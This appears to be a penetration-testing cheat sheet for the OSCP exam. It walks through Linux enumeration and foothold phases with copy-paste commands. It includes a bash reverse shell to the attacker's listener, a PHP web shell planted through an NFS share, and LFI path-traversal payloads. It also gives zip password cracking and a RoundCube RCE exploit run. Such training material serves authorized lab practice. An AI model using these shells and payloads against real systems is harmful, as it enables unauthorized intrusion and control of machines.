OSCP Playbook — Howlsec

Port Scanning — the two most important scans, run these first:

howlsec@kali·bash

$sudo nmap -p- --open -Pn -n -vvv $IP
$sudo nmap -p22,80 -sCV $IP

Set your variables once, then every command below is copy-paste ready:

howlsec@kali·bash

$export IP=10.10.10.5        # target
$export DC=10.10.10.5        # domain controller
$export DOMAIN=corp.local
$export USER=jdoe
$export PASS='Password123!'
$export LHOST=$(ip -4 addr show tun0 | grep -oP '(?<=inet )[0-9.]+')

🐧

Linux Standalone

Start at Phase 1 and work down. Each phase is ordered by how fast it usually yields root.

0/12 · 0%

Phase 1 · Enumeration

1.1 Full port + service scanNEVER skip this. You cannot privesc if you missed a service. LOOK FOR: open ports and service versions. THEN: match versions to public exploits (Phase 2).

howlsec@kali·bash

$sudo nmap -p- --open -Pn -n -vvv $IP
$sudo nmap -p22,80 -sCV $IP
$rustscan -a $IP -- -sC -sV -oN nmap/rustscan.txt
$nmap -p- --min-rate 5000 -oN nmap/all.txt $IP
$nmap -sC -sV -p<ports> -oN nmap/svc.txt $IP

1.2 If a web port is open → enumerate immediatelyWeb is the #1 foothold vector. LOOK FOR: login forms, upload pages, admin panels, API endpoints, CMS versions, technology stack. THEN: match to exploits (Phase 2).
howlsec@kali·bash
```
$feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
$whatweb http://$IP && nikto -h http://$IP
```
1.3 Check for other network-accessible servicesLOOK FOR: SMB (445), NFS (2049), FTP (21), SSH (22), MySQL (3306), Redis (6379). IF anonymous/guest access works → enumerate shares/files (Phase 2).
howlsec@kali·bash
```
$smbclient -L //$IP -N
$showmount -e $IP
$ftp -n $IP
$redis-cli -h $IP info
```
1.4 FTP anonymous / weak credential enumerationIF port 21 is open. STEP: try anonymous:anonymous or ftp:ftp. IF login works → download ALL files. LOOK FOR: zip files with passwords, backup scripts, SQL dumps, or git repositories.
howlsec@kali·bash
```
$ftp -n $IP
$# user: ftp / pass: ftp  OR  anonymous / anonymous
$mget *
```
1.5 NFS share enumerationIF port 2049 is open. STEP: showmount to list shares → mount the share locally. LOOK FOR: world-writable directories where you can drop files, or sensitive documents. THEN: check if the mounted share can be used for LFI/RFI or to plant a SUID binary.
howlsec@kali·bash
```
$showmount -e $IP
$mkdir -p /mnt/nfs && sudo mount -t nfs $IP:/share /mnt/nfs
$ls -la /mnt/nfs
```
1.6 WordPress enumeration (wpscan)IF the site is WordPress. STEP: wpscan for users, plugins, and themes. LOOK FOR: weak credentials (try username-as-password), plugin vulnerabilities, and editable templates. THEN: check /wp-login.php and add hostnames to /etc/hosts if assets fail to load.
howlsec@kali·bash
```
$wpscan --url http://$IP --enumerate u,ap,at
$# Try username-as-password on discovered users
$# Check /etc/hosts if page loads without CSS/images
```
1.7 Exposed .git repository enumerationIF you find a .git folder in a downloaded archive or web root. STEP: enumerate git history for plaintext credentials or hardcoded secrets. LOOK FOR: commits that added/removed credentials.
howlsec@kali·bash
```
$git log --all --oneline
$git log -p --all -S 'password'
$git show <commit-hash>
```

Phase 2 · Foothold

2.1 Map service versions → public exploitIF you found a version in Phase 1, search it now. IF ExploitDB has a match → copy it, test it. IF no public exploit → move to web app testing or credential guessing.
howlsec@kali·bash
```
$searchsploit <service> <version>
$searchsploit -m <edb-id>
```
2.2 Get a reverse shell + upgrade to full TTYA bare nc shell is painful. Upgrade immediately so you can use arrow keys, tab completion, and Ctrl-C safely. STEP: get shell → STEP: python3 pty upgrade → STEP: background with Ctrl-Z → STEP: stty raw -echo → STEP: fg + export TERM=xterm.
howlsec@kali·bash
```
$rlwrap nc -lvnp 4444
$bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
$python3 -c 'import pty;pty.spawn("/bin/bash")'
$# (Ctrl-Z on attacker) → stty raw -echo; fg → export TERM=xterm
```
2.3 LFI via WordPress plugin shortcode or URL paramIF WordPress has a vulnerable plugin with LFI (e.g., post-slides). STEP: create a PHP shell in an NFS share or writable dir → reference it via shortcode path traversal. LOOK FOR: plugins with known CVEs on wpscan.com. THEN: visit the page to trigger code execution.
howlsec@kali·bash
```
$# Create shell.php in NFS share or writable dir:
$echo '<?php system($_GET["cmd"]); ?>' > /mnt/nfs/shell.php
$# In WordPress page, add shortcode:
$[post-slides skin="../../../../../../../../../../../../../../var/nfs/documents/shell"]
$# Or via URL: curl 'http://$IP/?page=../../../../../../../var/log/apache2/access.log&cmd=id'
```
2.4 Crack password-protected zip filesIF you download a password-protected zip. STEP: use zip2john to extract hash → crack with john. THEN: extract and examine contents for credentials or source code.
howlsec@kali·bash
```
$zip2john app.zip > zip.hash
$john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
$unzip app.zip
```
2.5 RoundCube Webmail RCE (CVE-2025-49113)IF you find RoundCube Webmail (check version via About button). STEP: this version has an unauthenticated RCE. Set up a listener → run the exploit with a reverse shell command → get shell as www-data. THEN: check for reusable credentials to pivot to a real user.
howlsec@kali·bash
```
$# Verify version: login → click About → check for 1.6.10 or vulnerable
$# Exploit: https://github.com/fearsoff-org/CVE-2025-49113
$python3 exploit.py -u http://$IP/roundcube -l $LHOST -p 4444
$# Or manually: craft the RCE payload to execute reverse shell
```

Attacks by target

✅ Exam Day Checklist

Linux Standalone

Phase 1 · Enumeration

Phase 2 · Foothold